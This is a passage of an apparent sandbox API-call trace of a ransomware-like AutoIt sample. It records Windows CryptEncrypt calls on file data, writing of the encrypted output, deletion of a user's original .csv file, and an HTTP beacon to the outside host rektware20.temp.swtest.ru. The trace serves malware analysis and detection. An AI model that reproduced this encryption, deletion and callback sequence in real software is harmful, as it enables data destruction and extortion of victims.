wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.324] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.324] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.325] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x161da, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x161e0) returned 1 [0070.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.326] CharLowerBuffW (in: lpsz="byte[90593]", cchLength=0xb | out: lpsz="byte[90593]") returned 0xb [0070.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.327] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.327] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.328] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.328] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17fcee8*, pdwDataLen=0x130e618*=0x161da, dwBufLen=0x161e0 | out: pbData=0x17fcee8*, pdwDataLen=0x130e618*=0x161e0) returned 1 [0070.328] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.328] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.328] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.329] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.329] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.329] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.329] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.329] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.329] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.341] WriteFile (in: hFile=0x2ac, lpBuffer=0x17d0b18*, nNumberOfBytesToWrite=0x161e0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesWritten=0x130f01c*=0x161e0, lpOverlapped=0x0) returned 1 [0070.343] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.343] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.343] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.344] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.344] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.344] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.344] CryptDestroyKey (hKey=0x164c330) returned 1 [0070.344] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.344] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.345] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.345] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.345] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.345] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.345] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.345] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.345] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.345] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.346] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.346] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.346] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.346] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.346] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.346] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.346] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.346] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.346] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.346] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.347] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.347] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0070.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.347] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.347] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.347] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.347] CloseHandle (hObject=0x3bc) returned 1 [0070.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.348] CloseHandle (hObject=0x2ac) returned 1 [0070.350] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.360] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", lpFilePart=0x0) returned 0x2d [0070.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\egjv4nkog.csv")) returned 0x20 [0070.360] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0070.361] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\egjv4nkog.csv")) returned 1 [0070.369] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.369] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0070.370] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.370] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.370] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.370] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.370] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0070.370] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.371] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.371] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.371] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.371] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0070.371] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.371] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.372] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.372] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.373] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.373] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.373] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.373] CloseHandle (hObject=0x0) returned 0 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 